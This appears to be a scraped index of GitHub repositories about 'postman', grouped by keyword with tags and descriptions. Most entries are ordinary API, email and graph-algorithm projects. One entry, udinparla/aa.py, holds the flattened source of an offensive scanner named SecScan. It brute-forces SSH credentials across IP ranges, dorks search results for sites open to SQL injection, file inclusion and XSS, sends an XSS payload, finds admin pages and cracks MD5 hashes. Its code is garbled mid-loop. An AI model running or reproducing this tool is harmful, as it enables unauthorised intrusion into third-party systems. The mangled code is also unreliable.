cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
cookyii/module-postman
mail, message, module, template, templates 		[READ ONLY] Email message queue and templates module for Cookyii CMF 1 stars 1 watchers 1 forks
postman-data-api-templates/home
data, home, managing, site, template, templates, website 		This is the main website for managing all the Postman data API templates. 1 stars 1 watchers 0 forks
telosys-templates-v3/web-rest-postman
collection, rest, telosys, template, templates, test, testing, tests 		REST testing with Postman tests collection 0 stars 0 watchers 1 forks
castlegateit/cgit-wp-postcard
define, template, templates 		Quick and easy pre-defined templates for Postman 0 stars 0 watchers 1 forks
caylent/caylent-postman-templates
caylent, template, templates 		Caylent API Postman Environment Variable Template 0 stars 0 watchers 1 forks
B1H/postman-templates
description, script, template, templates 		No description available. 0 stars 0 watchers 0 forks
1tallgirl/soap_rest_templates
rest, service, services, soap, template, templates 		Holds Boomerang SOAP and POSTman REST request templates for web services. 0 stars 0 watchers 0 forks
isabelleyzhou/postman_visualizer_templates
berkeley, collection, supplement, template, templates, visual 		supplement for the berkeley-codebase collection of postman visualizer templates 0 stars 0 watchers 0 forks
kootoomo/book-store-tutorial-flask
book, flask, store, template, templates, test, tested, tutorial, ubuntu 		Flask Tutorial at ubuntu ("book store" tested in Postman, No front-end stuff - templates, etc.) 0 stars 0 watchers 0 forks
SaravananRamanathan25/Cisco-SD-WAN-Feature-Templates
collection, postman collection, template, templates 		This postman collection is a good starting point for creating new feature templates for Cisco SD-WAN vManage 0 stars 0 watchers 0 forks
so-technology-watch/telosys-templates-postman
telosys, template, templates, test, tests 		Telosys templates for Postman REST tests 0 stars 0 watchers 0 forks

emails (16 listings) (Back to Top)

at15/postman
email, emails, mail, notification, party, push 		Deliver emails and sms and push notifications using third party API 3 stars 3 watchers 0 forks
stt-systems/postman-cli
email, emails, mail, send, server, system, systems, tool 		Python CLI tool for 📧 emails sending using SMTP server 2 stars 2 watchers 2 forks
snoopydo/Postman
email, emails, mail 		Rich Html emails using Razor Views 2 stars 2 watchers 0 forks
corruptmem/postman
email, emails, mail, manages 		Listens for emails via AMQP and manages the delivery 1 stars 1 watchers 0 forks
mattumotu/postman
email, emails, light, mail, object, send 		a light weight, object-oriented .Net SDK for sending emails 1 stars 1 watchers 0 forks
nmjmdr/postman
email, emails, mail, service, services, support 		Sends emails reliably (supports failover) using services such as Sendgrid and Mailgun 1 stars 1 watchers 0 forks
AbstractElemental/postage
email, emails, library, mail, powered, send 		Simple library for sending emails powered by Freemarker. No postman or milkman to steal your mom here. 0 stars 0 watchers 0 forks
bqluan/postman
email, emails, mail, send, support, template, tool 		A tool which is able to send emails in batch and supports email template. 0 stars 0 watchers 0 forks
chakshuahuja/Remit-Box
config, configurable, email, emails, mail, offline, python, script, send 		API Hack Day - Made a python script using APIs of Exotel, SendGrid, Postman to send configurable emails in offline mode via SMS 0 stars 0 watchers 0 forks
dmitry256/fortnight-postman
email, emails, mail, schedule 		Server app to schedule emails 0 stars 0 watchers 0 forks
HackerspaceBlumenau/postman
email, emails, mail, slack 		Send emails received to slack channels 0 stars 0 watchers 0 forks
igocooper/postman-mail-uploader
drive, email, emails, mail, river, service, upload, webdriver 		webdriver.io based algorithm to upload emails to postman service. 0 stars 0 watchers 0 forks
jeteve/Email-Postman
email, emails, mail 		deliver emails to the real world 0 stars 0 watchers 0 forks
postman-app/postman
email, emails, mail, quickly, send 		OTP Application to send emails quickly and easily. 0 stars 0 watchers 0 forks
ThCC/postman-client
client, complex, email, emails, mail, send, service, template 		Client service, to send simple text emails or, using a template created at Postman, send more complex emails. 0 stars 0 watchers 0 forks
ThCC/postman-client-js
client, complex, email, emails, mail, send, service, template 		Client service, to send simple text emails or, using a template created at Postman, send more complex emails. 0 stars 0 watchers 0 forks

creation (16 listings) (Back to Top)

udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
arthuroz/azurepipeline
automat, automate, azure, collection, creation, pipeline, postman collection, release 		A postman collection that automate the creation of a repository, build pipeline and release pipeline 1 stars 1 watchers 1 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
DigitalAPI/Postman-Bundle
creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax 		Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. 0 stars 0 watchers 1 forks
JohnArg/MongoDBTutorial
assert, assertion, course, creation, learn, learning, result, test, testing 		(Learning Project) The code from a course while learning MongoDB with Node/Express. The result is the creation of a simple REST API using Mongoose and Postman for testing. Mocha, Expect and Supertest were also used for assertions. 0 stars 0 watchers 0 forks
luxie11/note-app
application, creation, framework, note, saving, task, tasks, test, testing, user 		An API created for saving user tasks. For API testing used Postman. This API can be user for WEB application creation with React, Vue or any front-end framework. 0 stars 0 watchers 0 forks
rajendraprasad10/flask_restapi_mongodb
creation, crud, flask, mongo, mongod, mongodb, rest, restapi 		crud app with flask and mongodb postman API creation 0 stars 0 watchers 0 forks
gouravjixer/Informal-letter-format
address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome 		Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. 0 stars 0 watchers 0 forks
danielhaan/demo-postman-mimic
creation 		Recreation of some parts of postmans ui features 0 stars 0 watchers 0 forks
geekyanurag/Web-Services
api blueprint, asyncapi, client, creation, json schema, mysql, oauth, openid, sets, sql 		Rest api creation for 3 sets of api's using php and mysql and used postman as client. 0 stars 0 watchers 0 forks
IPWright83/Postman-Jasmine
creation, style, test, tests 		Allow the creation of Jasmine style tests within Postman 0 stars 0 watchers 0 forks
kristaeis/REST-API-final-project
account, auth, authentication, book, books, creation, environment, list, lists, reading, test, tests, user 		REST API featuring user account creation and authentication, reading lists, and books - Postman tests/environment 0 stars 0 watchers 0 forks
legarbo/Repository-creation-test
creation, test 		This is a test repository created by Postman 0 stars 0 watchers 0 forks
legarbo/Test-repository-creation
creation, test 		This is a test repository created by Postman 0 stars 0 watchers 0 forks
melperez19/HTML-Email-Newsletter
creation, letters, mail, recreation 		A recreation of one of Postman's Monthly Email Newsletters using HTML & CSS 0 stars 0 watchers 0 forks
SoniaAli05/SakilaSpringbootWebsite
application, boot, creation, sakila, site, spring, springboot, to do, website 		Eclipse Java - springboot application for the sakila website (works using postman), still need to do the JS HTML CSS website creation 0 stars 0 watchers 0 forks

currency (16 listings) (Back to Top)

onkarpandit/cryptocurrency
blockchain, chai, crypto, cryptocurrency, currency, frontend, implementation, java, local, locally, script 		My own cryptocurrency implementation with blockchain and frontend using java script.Hosted locally on postman. 2 stars 2 watchers 0 forks
thisismanishkumar/mk_coin-crypto_currency-
crypto, currency 		We create our very own crypto_currency using Flask and Postman. 2 stars 2 watchers 0 forks
vishnoitanuj/Blockchain-Cryptocurrency
basics, blockchain, chai, crypto, currency, file, flask, implementation, server, server., servers, struct, suggest, welcome 		A basic implementation of blockchain based on flask server. It servers the basics of crypto-currency technology. The genesis, block constructor and its use are explained in the read-me file. Any suggestions are welcomed. 0 stars 0 watchers 2 forks
Unogwudan/currency-converter-zuul-api-gateway-server
cloud, convert, converte, converter, currency, data, database, gateway, server, service, zuul 		Zuul API Gateway Server Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Harshrajsinh96/Crypto_APIs
action, blockchain, chai, crypto, currency, data, framework, setup, test, tested 		Created REST APIs for a blockchain crypto-currency where Wallet and Transactions entities were handled using SQLAlchemy mapper in Flask framework and the data was persisted in SQLite DB. Whole setup with GET/POST/DELETE request was tested on Postman. 0 stars 0 watchers 0 forks
HP213/My_first_cryptocurrency
action, chai, comments, connection, crypto, cryptocurrency, currency, http, local, locally, node, require, suggest, system, transactions, understanding, user 		Using Blockchain, I made my first cryptocurrency, I suggest using postman for better understanding. Baiscally we made an decentralized system of transferring cryptocurrency. It is runnig locally on http://127.0.0.1:5001/ you can chage port according to requirement and new user. Post request is made to add transactions and create a new node and get request to block new mine and get chain. Everything mentioned in code with comments, we have made three ports http://127.0.0.1:5002/, http://127.0.0.1:5003/, http://127.0.0.1:5004/, to show connections between three miners "A" "B" and "C". You can make more 0 stars 0 watchers 0 forks
mdsalik7/Cryptocurrency-Laxmicoin
currency, test, testing 		Creating a Cryptocurrency on Python and testing it on Postman 0 stars 0 watchers 0 forks
SudharshanShanmugasundaram/Cryptocurrency-Icecubes
crypto, cryptocurrency, currency 		Implementation of my very own cryptocurrency Icecubes 0 stars 0 watchers 0 forks
sumeetrohra/cryptocurrency
crypto, cryptocurrency, currency, python, test, tested 		This is a basic cryptocurrency made using python Flask and tested in postman 0 stars 0 watchers 0 forks
Unogwudan/currency-conversion-service
cloud, convert, converte, converter, currency, data, database, microservice, service, version 		A currency converter API microservice for a currency converter app developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-discovery-server
cloud, convert, converte, converter, currency, data, database, discover, discovery, server, service 		Discovery Server API Microservice for a currency converter app developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-eureka-naming-server
cloud, convert, converte, converter, currency, data, database, eureka, server, service 		Eureka Naming Server API Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-limits-service
cloud, convert, converte, converter, currency, data, database, service 		Config API Microservice for a currency converter app developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-spring-cloud-config-server
cloud, config, convert, converte, converter, currency, data, database, server, service, spring 		Spring Cloud Config Server API Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-exchange-service
cloud, convert, converte, converter, currency, data, database, exchange, service 		A Currency Exchange API Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
varshneydevansh/CryptRupee
currency 		CryptRupee is an Indian Cryptocurrency created with the help of Python and Flask 0 stars 0 watchers 0 forks

chinese (16 listings) (Back to Top)

rkistner/chinese-postman
application, chinese, problem 		Python application to solve the Chinese postman problem 0 stars 0 watchers 12 forks
alsora/chinese-postman-problem
chinese, implementation, problem 		Solver for various CPP variants. ROS exploration implementation 4 stars 4 watchers 3 forks
dilsonpereira/chinese-postman-problem
chinese, problem, solution 		C++ solution for the chinese postman problem 0 stars 0 watchers 6 forks
markongithub/chinese_postman_networkx
chinese, github, kong, network, problem 		Solving the Chinese Postman problem in Python with NetworkX doing the hard work 1 stars 1 watchers 1 forks
Raver24/ChinesePostman
chinese, problem 		Genetic algorithm for chinese postman problem 0 stars 0 watchers 1 forks
andreyluiz/chinese-postman
chinese, description, script 		No description available. 0 stars 0 watchers 0 forks
opalkonrad/chinese-postman-problem
chinese, description, problem, script 		No description available. 0 stars 0 watchers 0 forks
zxc19940919/chinese-postman
chinese, description, script 		No description available. 0 stars 0 watchers 0 forks
gafeol/chinese-postman
chinese, problem 		Artigo de iniciação científica sobre o problema do carteiro chinês 0 stars 0 watchers 0 forks
h2hdata/aa_network-analysis-route-inspection
advance, advanced, analytics, chinese, data, inspection, network, problem, route, spec 		This repository consists of POC created for advanced analytics domain. Problem is to implement network analysis for route inspection to solve the chinese postman problem. 0 stars 0 watchers 0 forks
lucasbrito92/chinese-postman-problem
chinese, discover, match, problem, route, routes 		Chinese Postman Problem solved using Fleury Algorithm, Djisktra and Linear Programming to solve matching and discover routes. 0 stars 0 watchers 0 forks
maraigue/cpp-chinese-postman
chinese, graph 		Solving "Chinese Postman Problem" with boost.graph and GLPK 0 stars 0 watchers 0 forks
markongithub/chinese_postman
chinese, github, kong 		Playing with Chinese Postman algorithms in Haskell. 0 stars 0 watchers 0 forks
samssouza/a-cpp-implementation
chinese, implementation, java, problem 		This project is a implementation to the chinese postman problem written in java. 0 stars 0 watchers 0 forks
verso-optim/pOSMan
chinese, data, problem, tree 		Solving the chinese postman problem using OpenStreetMap data 0 stars 0 watchers 0 forks
yuf3n9/chinese-postman-webpage
chinese, problem, solver 		A Chinese postman problem solver with web UI 0 stars 0 watchers 0 forks

fake (16 listings) (Back to Top)

Manojvg1995/GET-POST-method-call-using-jquery-and-javascript
fake, java, javascript, jquery, method, query, script, upload, uploading 		Hello , In this project I'm uploading how Call get and post method using jquery and javascript using online fake apis. 5 stars 5 watchers 1 forks
ivangfr/postman-newman-jenkins
command, command line, fake, goal, jenkins, newman, test, tested 		The goal of this project is to implement an Automation Testing for a REST API. We will use Postman, Newman (that is the command line Collection Runner for Postman) and Jenkins. The REST API to be tested will be ReqRes, that is a fake online REST API. 1 stars 1 watchers 2 forks
yeosz/dtool
api blueprint, asyncapi, fake, json schema, mysql, oauth, openid, sql, tool 		数据生成器,数据库工具,数据库填充,伪数据,faker,mysql数据字典,数据库比对 0 stars 0 watchers 4 forks
aubm/Cats-API
command, command line, fake, newman, play, test, tests, tool 		A fake API built to play with Postman tests and the newman command line tool 0 stars 0 watchers 1 forks
RaimundoNeto123321/fakePostman
fake 		0 stars 0 watchers 1 forks
fake-soul/TestViaPostman
description, fake, script 		No description available. 0 stars 0 watchers 0 forks
abutufail/SpringTiaa11
fake, fakedeo, rest 		fakedeo postman rest 0 stars 0 watchers 0 forks
brunoskape/fake_apirest_postman
fake, rest 		FAKE API REST PARA SER UTILIZADO NO POSTMAN 0 stars 0 watchers 0 forks
chrisalee/MERN-faker-api
express, fake 		MERN faker-api working with express and postman 0 stars 0 watchers 0 forks
deeksha207/postmanapi
check, fake, site, website 		This is my small postman api , you can check my api by using put GET and POST request , you can take help from JSON PLACEHOLDER(for fake request) website for getting url of these request . 0 stars 0 watchers 0 forks
Eka-2019/PostmanTest_example
auth, authorization, example, fake, server, test, tests 		some example simple tests in postman + fake server and basic authorization 0 stars 0 watchers 0 forks
fake-soul/Postman-bharat
fake 		Postman Intern 0 stars 0 watchers 0 forks
fake-soul/PostmanDummy
fake 		0 stars 0 watchers 0 forks
iamhanao/fake_postman
fake, html 		html+js实现postman 0 stars 0 watchers 0 forks
Rakibul55276/Rakibul55276-Angular-fake-RestAPI
fake 		Jason-Placeholder with postman 0 stars 0 watchers 0 forks
tareque20/fake-rest-api-using-json-server
fake, json, rest, rest api, server, test 		Simple rest api test using json server 0 stars 0 watchers 0 forks

actor (16 listings) (Back to Top)

request-factory/request-factory
actor, client, form, mobile, platform 		Cross-platform API-client made for mobile (iOS/Android) 8 stars 8 watchers 1 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
adobe/reactor-postman
actor, collection, example, examples, form, react, reactor 		A Postman collection of Reactor API examples for Adobe Experience Platform Launch 0 stars 0 watchers 3 forks
joyghosh/postman
actor, current, email, framework, mail, relay, technologies 		Highly concurrent and queue based email relay sever. JMS and Akka's actors framework are the main technologies used. 1 stars 1 watchers 0 forks
wernerkotze/function-abstractor
actor, function, select 		Based on the postman function selector. 1 stars 1 watchers 0 forks
dreamfactorysoftware/dreamfactory-postman-collection
actor, collection, collections, host, hosting, play, software 		A repository for hosting plug-n-play Postman collections 0 stars 0 watchers 0 forks
rakuju87/endtoend-automation-demo
actor, automat, automation, test, tests 		Demo on Protractor and Postman tests in CI/CD using Bamboo 0 stars 0 watchers 0 forks
pbauzyte/postman_data_extractor
actor, data, description, extract, extractor, script 		No description available. 0 stars 0 watchers 0 forks
vinoth112/node-postman-refactor-mongoose
actor, description, mongo, mongoose, node, script 		No description available. 0 stars 0 watchers 0 forks
bgarlow/okta_authentication_mfa_flow
actor, auth, authentication, docs 		Sample docs and Postman Collection for using Okta's Authentication API and Factors API. 0 stars 0 watchers 0 forks
danielxcom/todolist_using_api_and_ajax
actor, ajax, file, helper, list, operation, operations, service, services, syntax, test, tested, todo 		Test-run of ajax syntax, todolist using RESTful web services tested with POSTMAN. Refactored REST operations in Promises + put them in helper file to make modular todos.js. Schema created using MongoDB 0 stars 0 watchers 0 forks
jango89/postman-test-validate-spring-cloud-configuration
actor, cloud, config, configuration, image, projects, spring, test, validating 		Docker image for validating ConnectionFactory created are not overriden for spring cloud projects. 0 stars 0 watchers 0 forks
julielearncoding/PageObjectWithPageFactories
actor, coding, learn, test 		This is a test repository created by Postman 0 stars 0 watchers 0 forks
martynow173/practice-3
actor, backend, comments, function, functional, github, handling, http, https, laravel, product, products, rating, relationship, sort, system, user 		Just backend requests handling, use postman. Additional functionality and code refactoring: user ratings, comments, sorting based on them, many-to-many relationship between categories and products. Role system - https://github.com/spatie/laravel-permission 0 stars 0 watchers 0 forks
pozil/postman-extractor
actor, export, extract, extractor, file, files, resource, resources, source, util, utility, version, versioning 		Postman Extractor (pmx) is a utility that extracts/compacts resources from Postman export files for easier versioning. 0 stars 0 watchers 0 forks
xzhang007/Multithread-Web-Server
actor, auth, authentication, binary, capable, current, design, file, files, handling, image, images, method, network, parsing, reading, send, server, sync, synchronize, test, user, version, versions 		Developed a web server in Java capable of handling HTTP requests and parsing those requests, and sending out various HTTP responses. • Handles basic user authentication and CGI which could execute concurrently using multithreading and synchronized method. And it could send binary files like images over network. • Using GitHub repository to control versions and Postman to test as well as factory design pattern. 0 stars 0 watchers 0 forks

cases (16 listings) (Back to Top)

NovelCOVID/API
case, cases 		API for Current cases and more stuff about COVID-19 or the Novel Coronavirus Strain 1775 stars 1775 watchers 473 forks
